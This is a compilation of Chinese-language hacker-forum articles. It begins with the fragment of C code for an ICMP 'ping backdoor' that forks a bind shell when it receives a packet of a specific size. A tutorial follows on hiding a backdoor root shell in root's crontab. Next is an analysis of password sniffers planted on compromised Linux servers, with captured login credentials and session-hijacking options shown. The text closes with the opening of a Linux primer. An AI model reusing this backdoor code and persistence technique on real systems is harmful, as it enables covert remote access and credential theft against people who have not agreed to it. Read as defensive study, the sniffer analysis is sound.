while(1)
{
do
--{
-- fromlen = sizeof(from);
-- if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from,
    &fromlen)) < 0)
-- printf("ping of %i\n", size-28);
--
} while (size != SIZEPACK + 28);

/* size == SIZEPACK, let's bind the shell */
switch(fork())-- {
case -1:
--continue;-- --
case 0:
--/* strcpy(argv[0], "-sekure working for your profit-"); */
--bind_shell();
--exit(0);
}

sleep(15);

}

}
/*
Contatos
--------

sekure/uground industries - Papers & Resources
uma publicacao da sekure/uground industries (tm)
http://www.sekure.org/ - contatos: security@sekure.org

Procure pelos advisories da sekure/uground industries em http://www.sekure.org/advisories.html

Assine a lista Best Of Security Brasil - http://www.sekure.org/bos
Mande mensagem pra bos-br-request@sekure.org
Ponha "subscribe bos-br" no corpo da mensagem.

---
*/
/* ?- passed thru infected network -=? */
/* ?- http://infected.ilm.net/ / -=? */

另一个pingbackdoor呵呵！！！
you nerver know我正在听：〉

.Cronjob 后门

    Unix上的Cronjob可以按时间表调度特定程序的运行。入侵者可以加入后门shell程序，使它在1AM到2AM之间运行，那么每晚有一个小时可以获得访问。也可以查看cronjob中经常运行的合法程序，同时置入后门。
根用户的 crontab 文件放在 /var/spool/crontab/root 中，其格式如下：

(1) (2) (3) (4) (5) (6)

0 0 * * 3 /usr/bin/updatedb

以上内容设置/usr/bin/updatedb程序于每星期三 0:0 运行。

其中：
1. 分钟 (0-60)
2. 小时 (0-23)
3. 日 (1-31)
4. 月 (1-12)
5. 星期 (1-7)
6. 所要运行的程序

我们只需在 /var/spool/crontab/root 中添加我们的后门程序即可。
比如运行一个产生一个高位port的bind root shell的程序．或者替换服务进程的程序

命令：crontab
介绍：crontab - 操作每个用户的守护程序和该执行的时间表。
crontab file [-u user] - 用指定的文件替代目前的crontab。
crontab - [-u user] - 用标准输入替代目前的crontab。
crontab -l [user] - 列出用户目前的crontab。
crontab -e [user] - 编辑用户目前的crontab。
crontab -d [user] - 删除用户目前的crontab。
crontab -c dir - 指定crontab的目录。
crontab文件的格式：M H D m d cmd
M ： 分钟（0-59）
H ： 小时（0-23）
D ： 天（1-31）
m ： 月（1-12）
d ： 一星期内的天（0-6，0为星期天）
cmd： 要运行的程序，程序被送入sh执行，这个shell只有USER，HOME，SHELL这三个环境变量。
下面是一个例子文件：
# MIN HOUR DAY MONTH DAYOFWEEK COMMAND
# 每天早上6点
10 6 * * * date
# 每两个小时
0 */2 * * * date
# 晚上11点到早上8点之间每两个小时，早上部点
0 23-7/2，8 * * * date
# 每个月的4号和每个礼拜的礼拜一到礼拜三的早上11点
0 11 4 * mon-wed date
# 1月份日早上4点
0 4 1 jan * date
范例：
[root@cnhonker.com /]# crontab -l
列出用户目前的crontab。
# MIN HOUR DAY MONTH DAYOFWEEK COMMAND
10 6 * * * date
0 */2 * * * date
0 23-7/2，8 * * * date

不管怎么说lion写的教程还是很经典的，就算大家不支持红客，以后也不要再贬低红客了！：）


Linux环境下黑客常用嗅探器分析

本文对Linux环境下黑客常常使用的几种嗅探器进行详细的分析，这些嗅探器往往被入侵者完成入侵以后种植在受害者服务器当中。这些嗅探器各自有不同的特点，有的只是简单的用来捕捉用户名和密码，有的则非常强大可记录所有的网络数据流。本文将对下面几种嗅探器进行分析：

*linsniffer

*linuxsniffer

*hunt

*sniffit

linsniffer

linsniffer是一个简单实用的嗅探器。它主要的功能特点是用来捕捉用户名和密码，它在这方面非常出色。

作者：Mike Edulla
条件: C和IP头文件
配置文件：无
位置: http://agape.trilidun.org/hack/network-sniffers/linsnifferc
安全历史: 无
注: 易于使用。但是lnsniffer需要完整的IP头文件，包括常常存储在/usr/include/net和 /usr/include/netinet的头文件，在编译前确保PATH变量包含/usr/include。

使用下面的命令来编译lnsniffer：

$cc linsniffer.c -o linsniffer
要运行linsniffer，使用下面的命令：

$linsniffer

启动以后linsniffer将创建一个空文件：tcp.log来存储嗅探结果。

在测试中我创建一个名为hapless的用户，密码为unaware。然后使用该用户来登录Linux服务器，并进行一些常见的用户操作。下面是进行的一次ftp过程：

GNSS $ ftp 192.168.0.2
Connected to 192.168.0.2.

220 linux.test.net FTP server Wed Aug 19 02:55:52 MST 1998) ready.

Name (192.168.0.2:root): hapless
331 Password required for hapless.
Password:
230 User hapless logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 14
drwxrwxr-x 4 hapless hapless 1024 May 20 19:35 .
drwxr-xr-x 6 root root 1024 May 20 19:28 ..
-rw-rw-r-- 1 hapless hapless 96 May 20 19:56 .bash_history
-rw-r--r-- 1 hapless hapless 49 Nov 25 1997 .bash_logout
-rw-r--r-- 1 hapless hapless 913 Nov 24 1997 .bashrc
-rw-r--r-- 1 hapless hapless 650 Nov 24 1997 .cshrc
-rw-r--r-- 1 hapless hapless 111 Nov 3 1997 .inputrc
-rwxr-xr-x 1 hapless hapless 186 Sep 1 1998 .kshrc
-rw-r--r-- 1 hapless hapless 392 Jan 7 1998 .login
-rw-r--r-- 1 hapless hapless 51 Nov 25 1997 .logout
-rw-r--r-- 1 hapless hapless 341 Oct 13 1997 .profile
-rwxr-xr-x 1 hapless hapless 182 Sep 1 1998 .profile.ksh
drwxr-xr-x 2 hapless hapless 1024 May 14 12:16 .seyon
drwxr-xr-x 3 hapless hapless 1024 May 14 12:15 lg
226 Transfer complete.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 14
drwxrwxr-x 4 hapless hapless 1024 May 20 19:35 .
drwxr-xr-x 6 root root 1024 May 20 19:28 ..
-rw-rw-r-- 1 hapless hapless 96 May 20 19:56 .bash_history
-rw-r--r-- 1 hapless hapless 49 Nov 25 1997 .bash_logout
-rw-r--r-- 1 hapless hapless 913 Nov 24 1997 .bashrc
-rw-r--r-- 1 hapless hapless 650 Nov 24 1997 .cshrc
-rw-r--r-- 1 hapless hapless 111 Nov 3 1997 .inputrc
-rwxr-xr-x 1 hapless hapless 186 Sep 1 1998 .kshrc
-rw-r--r-- 1 hapless hapless 392 Jan 7 1998 .login
-rw-r--r-- 1 hapless hapless 51 Nov 25 1997 .logout
-rw-r--r-- 1 hapless hapless 341 Oct 13 1997 .profile
-rwxr-xr-x 1 hapless hapless 182 Sep 1 1998 .profile.ksh
drwxr-xr-x 2 hapless hapless 1024 May 14 12:16 .seyon
drwxr-xr-x 3 hapless hapless 1024 May 14 12:15 lg
226 Transfer complete.
ftp> ls -F
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 14
drwxrwxr-x 4 hapless hapless 1024 May 20 19:35 ./
drwxr-xr-x 6 root root 1024 May 20 19:28 ../rw-rw-r-- 1 hapless hapless 96 May 20 19:56 .bash_history
-rw-r--r-- 1 hapless hapless 49 Nov 25 1997 .bash_logout
-rw-r--r-- 1 hapless hapless 913 Nov 24 1997 .bashrc
-rw-r--r-- 1 hapless hapless 650 Nov 24 1997 .cshrc
-rw-r--r-- 1 hapless hapless 111 Nov 3 1997 .inputrc
-rwxr-xr-x 1 hapless hapless 186 Sep 1 1998 .kshrc*
-rw-r--r-- 1 hapless hapless 392 Jan 7 1998 .login
-rw-r--r-- 1 hapless hapless 51 Nov 25 1997 .logout
-rw-r--r-- 1 hapless hapless 341 Oct 13 1997 .profile
-rwxr-xr-x 1 hapless hapless 182 Sep 1 1998 .profile.ksh*
drwxr-xr-x 2 hapless hapless 1024 May 14 12:16 .seyon/
drwxr-xr-x 3 hapless hapless 1024 May 14 12:15 lg/
226 Transfer complete.
ftp> cd lg
250 CWD command successful.
ftp> ls -F
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 8
drwxr-xr-x 3 hapless hapless 1024 May 14 12:15 ./
drwxrwxr-x 4 hapless hapless 1024 May 20 19:35 ../rw-r--r-- 1 hapless hapless 70 Aug 22 1998 lg3_colors
-rw-r--r-- 1 hapless hapless 629 Aug 22 1998 lg3_prefs
-rw-r--r-- 1 hapless hapless 728 Aug 22 1998 lg3_soundPref
-rw-r--r-- 1 hapless hapless 2024 Aug 22 1998 lg3_startup
drwxr-xr-x 2 hapless hapless 1024 May 14 12:15 lg_layouts/
226 Transfer complete.
ftp> cd lg_layouts
250 CWD command successful.

这是一个典型的用户操作过程。现在我们看看linsniffer产生的嗅探结果:

gnss => linux.test.net [21]
USER hapless
PASS unaware
SYST
PORT 172,16,0,1,4,192
LIST -al
PORT 172,16,0,1,4,193
LIST
PORT 172,16,0,1,4,194
LIST -F
CWD lg
PORT 172,16,0,1,4,195
LIST -F

输出的内容是很直观的。首先它记录这是从GNSS到Linux主机的FTP连接：

gnss => linux.test.net [21]

然后，linsniffer捕获了hapless的用户名和密码。

USER hapless
PASS unaware

最后，linsniffer记录了hapless使用的每一个命令：

SYST
PORT 172,16,0,1,4,192
LIST -al
PORT 172,16,0,1,4,193
LIST
PORT 172,16,0,1,4,194
LIST -F
CWD lg
PORT 172,16,0,1,4,195
LIST -F

输出结果非常简介并且非常适于窃听密码及记录常见的活动。但是不适合于进行更加复杂的分析。这时候你也许会需要linux_sniffe。

linux_sniffer

linux_sniffer提供相对更复杂的探测结果。

作者：loq
要求：C和IP头文件
配置文件：无
下载位置： http://www.ryanspc.com/sniffers/linux_sniffer.c.
安全历史：无
注意：linux_sniffer易于使用，但是需要完全的IP头文件。

使用下面命令编译linux_sniffer：

$cc linux_sniffer.c -o linuxsniff

下面是一次telnet会话过程，同时被linux_sniffer记录：

GNSS 2# telnet 192.168.0.1
Connected to 192.168.0.1.
login: hapless
password:
[hapless@linux2 hapless]$ w
19:55:29 up 58 min, 4 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 7:44pm 27.00s 0.17s 0.06s -bash
root tty2 7:46pm 1:56 0.24s 0.01s linuxsniff
root tty3 7:44pm 10:43 0.17s 0.07s -bash
hapless ttyp0 gnss 7:55pm 1.00s 0.26s 0.04s w
[hapless@linux2 hapless]$ who
root tty1 May 20 19:44
root tty2 May 20 19:46
root tty3 May 20 19:44
hapless ttyp0 May 20 19:55 (gnss)
[hapless@linux2 hapless]$ finger -l
Login: root Name: root
Directory: /root Shell: /bin/bash
On since Thu May 20 19:44 (PDT) on tty1 35 seconds idle
On since Thu May 20 19:46 (PDT) on tty2 2 minutes 4 seconds idle
On since Thu May 20 19:44 (PDT) on tty3 10 minutes 51 seconds idle
No mail.
No Plan.

Login: hapless Name: Caldera OpenLinux User
Directory: /home/hapless Shell: /bin/bash
On since Thu May 20 19:55 (PDT) on ttyp0 from gnss
No mail.
No Plan.

同样这是一次典型的登录过程：用户登录，检测哪些用户在登录等等。linux_sniffer记录额外的地址数据，但是同样记录了一些重要的数据。首先它记录了连接：

eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 ff fc 27 - ..'
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 ff fa 1f 00 50 00 28 ff - f0 ....P.(..
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 ff fa 20 00 33 38 34 30 - 30 2c 33 38 34 30 30 ff .. .38400,38400.
0010 f0 ff fa 23 00 47 4e 53 - 53 3a 30 2e 30 ff f0 ff ...#.GNSS:0.0...
0020 fa 18 00 49 52 49 53 2d - 41 4e 53 49 2d 4e 45 54 ...IRIS-ANSI-NET
0030 ff f0 - ..
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 ff fc 01 - ...
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 ff fd 01 - ...
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]

随后，linux_sniffer记录了登录过程，下面用黑体表示：

eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 68 - h
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 61 - a
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 70 - p
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 6c - l
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 65 - e
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 73 - s
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 73 - s
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 0d 00 - ..
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 75 - u
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 6e - n
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 61 - a
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 77 - w
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 61 - a
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 72 - r
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 65 - e
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]

最后，linux_sniffer记录了所有的命令：

eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 77 - w
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 0d 00 - ..
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 77 - w
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 68 - h
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 6f - o
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 0d 00 - ..
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 66 - f
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 69 - i
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 6e - n
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 67 - g
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 65 - e
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 72 - r
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]

可以看到，linux_sniffer提供了相对更详细的内容。

hunt

hunt在你需要易于读取的结果室的另外一种选择。它具有直观的命令追踪和会话监录功能。

作者：Pavel Krauz
条件： C, IP头, Linux 2.0.35+, 支持LinuxThreads的GlibC 2.0.7
配置文件：无
位置：http://www.cri.cz/kra/index.html
安全历史：无
注：作者提供有动态链接和静态连接的二进制发布。

hunt是以tar.gz的格式发布的，文件名为hunt-1_3bin.tgz。首先需要解压缩：

$tar xvfz hunt-1_3bin.tgz

则hunt被解压缩到新创建的目录hunt－1.3种，包括以下内容：

-rw-r--r-- 1 206 users 1616 Apr 2 03:54 CHANGES
-rw-r--r-- 1 206 users 17983 Oct 25 1998 COPYING
-rw-r--r-- 1 206 users 312 Jan 16 04:54 INSTALL
-rw-r--r-- 1 206 users 727 Feb 21 11:22 Makefile
-rw-r--r-- 1 206 users 27373 Feb 15 12:44 README
-rw-r--r-- 1 206 users 167 Dec 4 14:29 TODO
-rw-r--r-- 1 206 users 5067 Feb 13 04:23 addpolicy.c
-rw-r--r-- 1 206 users 7141 Feb 21 23:44 arphijack.c
-rw-r--r-- 1 206 users 25029 Apr 2 03:26 arpspoof.c
drwxr-xr-x 2 206 users 1024 Apr 9 02:03 c
-rw-r--r-- 1 206 users 7857 Nov 9 1998 hijack.c
-rw-r--r-- 1 206 users 5066 Dec 2 12:55 hostup.c
-rwxr-xr-x 1 206 users 84572 Apr 9 02:03 hunt
-rw-r--r-- 1 206 users 24435 Apr 2 03:26 hunt.c
-rw-r--r-- 1 206 users 16342 Mar 30 01:56 hunt.h
-rwxr-xr-x 1 206 users 316040 Apr 9 02:03 hunt_static
-rw-r--r-- 1 root root 265 May 20 22:22 huntdir.txt
-rw-r--r-- 1 root root 2517 May 20 22:19 huntlog.txt
-rw-r--r-- 1 206 users 6249 Feb 21 11:21 macdisc.c
-rw-r--r-- 1 206 users 12105 Feb 21 11:35 main.c
-rw-r--r-- 1 206 users 12000 Feb 6 02:27 menu.c
-rw-r--r-- 1 206 users 7432 Apr 2 03:53 net.c
-rw-r--r-- 1 206 users 5799 Feb 11 04:21 options.c
-rw-r--r-- 1 206 users 11986 Feb 14 04:59 resolv.c
-rw-r--r-- 1 206 users 1948 Oct 25 1998 rst.c
-rw-r--r-- 1 206 users 9545 Mar 30 01:48 rstd.c
-rw-r--r-- 1 206 users 21590 Apr 2 03:58 sniff.c
-rw-r--r-- 1 206 users 14466 Feb 21 12:04 synchijack.c
-rw-r--r-- 1 206 users 2692 Feb 19 00:10 tap.c
-rw-r--r-- 1 206 users 4078 Feb 15 05:31 timer.c
-rw-r--r-- 1 206 users 2023 Oct 25 1998 tty.c
-rw-r--r-- 1 206 users 7871 Feb 11 02:58 util.c

静态二进制发布为hunt_static，推荐使用该版本，因为有时候从源代码编译可能会出现缺少一些库的错误。使用下面命令来执行hunt：

$hunt_static

运行hunt你将惊奇地发现hunt是基于curse的，因此有非常友好的交互界面。启动以后菜单如下所示：

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
* >

在整个例子中，我将从GNSS登录到linux.test.net中进行测试。

GNSS 3% telnet 192.168.0.2
Trying 192.168.0.2...
Connected to 192.168.0.2.
Escape character is '^]'.

Caldera OpenLinux(TM)
Version 1.3
Copyright 1996-1998 Caldera Systems, Inc.

login:
[hapless@linux hapless]$ finger root
Login: root Name: root
Directory: /root Shell: /bin/bash
On since Thu May 20 21:57 (PDT) on tty1 1 minute idle
On since Thu May 20 22:02 (PDT) on tty2 7 minutes 19 seconds idle
On since Thu May 20 21:59 (PDT) on tty3 15 seconds idle
No mail.
No Plan.
[hapless@linux hapless]$ last root
root tty2 Thu May 20 22:02 still logged in
root tty3 Thu May 20 21:59 still logged in
root tty1 Thu May 20 21:57 still logged in
root tty2 Thu May 20 19:46 - down (00:26)
root tty1 Thu May 20 19:44 - 20:12 (00:27)
root tty3 Thu May 20 19:44 - down (00:28)
root tty3 Thu May 20 19:42 - 19:44 (00:01)
root tty1 Thu May 20 19:41 - 19:42 (00:00)
root tty3 Thu May 20 19:28 - 19:41 (00:12)
root tty2 Thu May 20 19:11 - 19:42 (00:31)
root tty1 Thu May 20 19:07 - 19:40 (00:32)
root tty1 Thu May 20 18:57 - 19:07 (00:09)
root tty1 Mon May 17 22:32 - down (00:29)

最后检查了/etc/passwd，在整个过程中都运行有hunt进行嗅探：

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> w
0) 192.168.0.1 [1049] --> 192.168.0.2 [23]
choose conn> 0
dump [s]rc/[d]st/[ b]oth [ b]> b

注：上面的输入(黑色字体部分)指示hunt来记录0号连接，并输出源和目的信息。
则hunt将显示hapless的所有活动信息到终端屏幕上：

22:18:43 up 21 min, 4 users, load average: 0.00, 0.01, 0.00
TRL-C to break
hhaapplleessss
Password: unaware
[hapless@linux2 hapless]$ cclleeaarr
[hapless@linux2 hapless]$ wwhhoo
root tty1 May 20 21:57
ww
22:18:43 up 21 min, 4 users, load average: 0.00, 0.01, 0.00

[hapless@linux2 hapless]$ mmoorree //eettcc//ppaasssswwdd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
man:x:15:15:Manuals Owner:/:
majordom:x:16:16:Majordomo:/:/bin/false
postgres:x:17:17:Postgres User:/home/postgres:/bin/bash
nobody:x:65534:65534:Nobody:/:/bin/false
anon:x:100:100:Anonymous:/home/anon:/bin/bash
hapless:x:500:500:Caldera OpenLinux User:/home/hapless:/bin/bash
[hapless@linux2 hapless]$

可以的看到，hunt的输出非常直观明了，易于阅读。然而hunt还提供有以下工具：

允许指定任意一个感兴趣的连接，而不是记录所有的东西。

允许指定任意一个连接，而不仅仅是以SYN刚刚开始的连接。It offers spoofing tools.

提供活动会话劫持。

其特有的特色功能和易于使用的界面，使得它对于linux入门者是一个非常好的选择。

sniffit

sniffit是针对哪些需要了解更多信息的人的。

作者：Brecht Claerhout
条件：C, IP 头文件
配置文件：见后面的讨论
安全历史：无
注：sniffit功能非常强大，但是不易学习使用。

$tar xvfz sniffit_0_3_7.tar.gz
$./configure （配置命令将检测系统是否符合要求）
$make (编译源代码)
strip sniffit (精简二进制代码的大小)
现在就可以使用sniffit了(sniffit的配置我们最后讨论)。

语法：

sniffit [-xdabvnN] [-P proto ] [-A char ] [-p port ]

[(-r|-R) recordfile ] [-l sniflen ] [-L logparam ] [-F

snifdevice ] [-D tty ] [-M plugin ] [(-t Target-IP | -s

Source-IP ) | (-i|-I) | -c config-file ]

sniffit是一个TCP/IP/ICMP协议数据报监听器，其能给出关于这些协议数据报非常详细的技术信息(SEQ,ACK,TTL,Windows,....)及符合监听条件的数据报的各种不同的格式(hex或纯文本)

sniffit缺省的可以处理以太和PPP设备。但是也可以用在其他的设备上(参见README.FIRST和sn_config.h)。sniffit可以进行方便的配置实现对接入的数据报进行过滤。而配置文件允许非常确定地指定需要处理的数据报。 sniffit同样有一个交互式界面。

选项：

-v 显示版本信息

-t 目标地址

只处理目的地址为"目标地址"的数据，和 '-s' '-c' '-v' 选项不兼容

-s 源地址

只处理发送地址为"源地址"的数据，和'-t' '-c' '-v' 选项不兼容

-c 配置文件

在配置文件中对包过滤规则进行定义,和-t' '-s' '-v'不兼容

-R 文件

将输出结果记录到"文件"中(和'-v'不兼容)

-n 关闭IP数据报校验，使伪造的数据也可以显示出来

-x 打印TCP数据报的扩展信息到标准输出中((SEQ,ACK, Flags等)，往往用来跟踪欺骗，包丢失及实现其他的网络调试测试任务。和'-i' 'I' '-v'不兼容

-d 输出到缺省的文件中，一般文件名为源目的地址的组合如：192.168.0.232.1120-192.168.0.231.80

-a 输出ascII码格式，不可打印的字符用”.”表示

-P 协议

指定需要处理的数据的协议类型,IP,TCP,ICMP,UDP等。

-p 端口

只处理目的端口为"端口"的数据。

-l sniflen

在正常模式下，记录的数据的总和(缺省为300字节)，每次的连接的前sniflen个字节被记录下来。

-F device

指定监听某个设备的数据如eth0,eth1等

-D tty

所有的记录信息都被输出到指定的tty

举例：

? 要监听从192.168.0.233发往192.168.0.231的访问WWW请求数据：

[root@lix /tmp]#/usr/sbin/sniffit -p 80 -P TCP -s 192.168.0.233 -d ttyp1

Packet ID (from_IP.port-to_IP.port): 192.168.0.233.1060-192.168.0.231.80

45 00 00 2C 6D 0B 40 00 80 06 0A A0 C0 A8 00 E9 C0 A8 00 E7 04 24 00 50 00 4E

89 2A 00 00 00 00 60 02 20 00 67 19 00 00 02 04 05 B4

注：192.168.0.231为一台运行linux的服务器

? 如果希望将输出定向到一个文件，则

[root@lix /tmp]# /usr/sbin/sniffit -p 80 -P TCP -s 192.168.0.233 -R /tmp/wwwlog

? 如果希望查看从192.168.0.231返回给192.168.0.225的www页面数据，并且将数据存储在一个文件/tmp/wwwlog中：

[root@lix /tmp]# /usr/sbin/sniffit -P TCP -t 192.168.0.225 -R /tmp/wwwlog

注：在225上不要开别的到231的连接，如telnet 否则 数据就回混杂在一起。

? 如果希望查看从192.168.0.233发给192.168.0.231的ICMP数据，并且将其显示到控制台上：

[root@lix /tmp]# /usr/sbin/sniffit -P ICMP -t 192.168.0.233 -d ttyp1

sniffit支持配置文件，通过配置文件可以提供更强大的嗅探控制。配置文件格式包含五个不同的字段，意义分别如下：

字段 1—select 或 deselect。指示sniffit捕捉后面条件指定的数据或者不捕捉。

字段 2—from, to, 或 both。 H指示sniffit捕捉来自、发往或双向的指定的主机的数据。

字段 3—host, port, or mhost。指定一个或多个目标主机。mhost可以用来指定多个主机，如192.168.0。

字段 4—hostname, port number, or multiple-host 列表。

Field 5—端口号。

例如：

select from host 192.168.0.1
select from host 192.168.0.1 80
select both port 23
sniffit将捕捉来自两个主机的telnet和www的所有信息。

select both mhosts 100.100.12.
deselect both port 80
select both host 100.100.12.2


LINUX基本操作

作者:小龙

    因为论坛的人的水平的确不行，所以准备写些很菜鸟的LINUX入门文章，请大家尽快学习吧，没看老大请来的斑竹没几个来吗？因为我们问的问题实在水平太低了。

一． LINUX简介
1． Linux过去现在和未来
A. 过去
1991 LINUS TORVALDS 在新闻组上发布LINUX正式版V0.20
1992 有100人在使用LINUX,这些人成为LINUX成长的奠基人.
1993 LINUX 第一产品版linux1.0问世,完全自由,源码公开,不得获利.
1994 LINUX系统已具备抢先多任务和对称多处理功能.
2000 MACOS装机380万, IBM OS/2 120万，NT 700万，WINDOWS 1个亿， LINUX500万.
B. 现状
